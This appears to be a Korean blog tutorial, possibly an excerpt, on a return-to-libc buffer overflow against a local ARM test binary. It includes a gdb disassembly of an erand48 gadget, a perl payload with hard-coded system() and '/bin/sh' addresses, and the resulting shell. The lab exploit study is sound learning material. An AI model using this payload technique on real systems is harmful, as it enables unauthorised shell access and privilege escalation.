* system() 및 "/bin/sh"
0xb6ec0d24 <system>
0xb6fa53c0 <"/bin/sh">
1. RTL 과정
(gdb) disas erand48
Dump of assembler code for function erand48:
0xb6eb9118 <+0>: push {lr} ; (str lr, [sp, #-4]!)
0xb6eb911c <+4>: ldr r3, [pc, #36] ; 0xb6eb9148 <erand48+48>
0xb6eb9120 <+8>: ldr r1, [pc, #36] ; 0xb6eb914c <erand48+52>
0xb6eb9124 <+12>: sub sp, sp, #12
0xb6eb9128 <+16>: add r3, pc, r3
0xb6eb912c <+20>: add r1, r3, r1
0xb6eb9130 <+24>: mov r2, sp
0xb6eb9134 <+28>: bl 0xb6eb92d0 <erand48_r>
0xb6eb9138 <+32>: ldm sp, {r0, r1}
0xb6eb913c <+36>: add sp, sp, #12
0xb6eb9140 <+40>: pop {lr} ; (ldr lr, [sp], #4)
0xb6eb9144 <+44>: bx lr
ldm sp, {r0, r1} 명령으로 SP+0의 값이 r0 레지스터로 들어가고 SP+4의 값이 r1 레지스터에 들어간다.
따라서, 위 페이로드에서 파란색 값이 "/bin/sh"의 주소로 r0 레지스터에 들어가게 된다.
그 뒤 +36 주소에서 sp <- sp+12 를 하기 때문에 페이로드에서 "AAAABBBB"의 더미를 넣어주었고,
+40의 주소에서 SP+0의 값을 lr 레지스터에 넣어주기 때문에 위 페이로드에서 초록색 부분에 system() 함수의 주소를 넣어주었다.
2. 결과
root@debian-armel:/home/test# ./test `perl -e 'print "A"x104, "\x38\x91\xeb\xb6", "\xc0\x53\xfa\xb6", "CCCCDDDD" , "\x24\x0d\xec\xb6"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8뷀S₃CDDDD$
$ id
uid=0(root) gid=0(root) euid=1001(lsm) groups=1001(lsm),0(root)
$ whoami
lsm
$
3. 결론
ASLR이 걸려있지 않다는 조건 하에 system("/bin/sh") 로 리턴하기 위해 20바이트 크기의 bof가 발생해야한다는 것을 알 수 있다.
'List > Embedded' 카테고리의 다른 글
Explain about MIPS ROP using router vuln (0) | 2015.09.05 |
---|---|
[mips] 기초 (0) | 2015.09.05 |
[armel] 기초 (0) | 2015.09.04 |
Embedded 환경 구축 (0) | 2015.06.18 |
firmware-mod-kit(fmk) 설치 (2) | 2015.01.23 |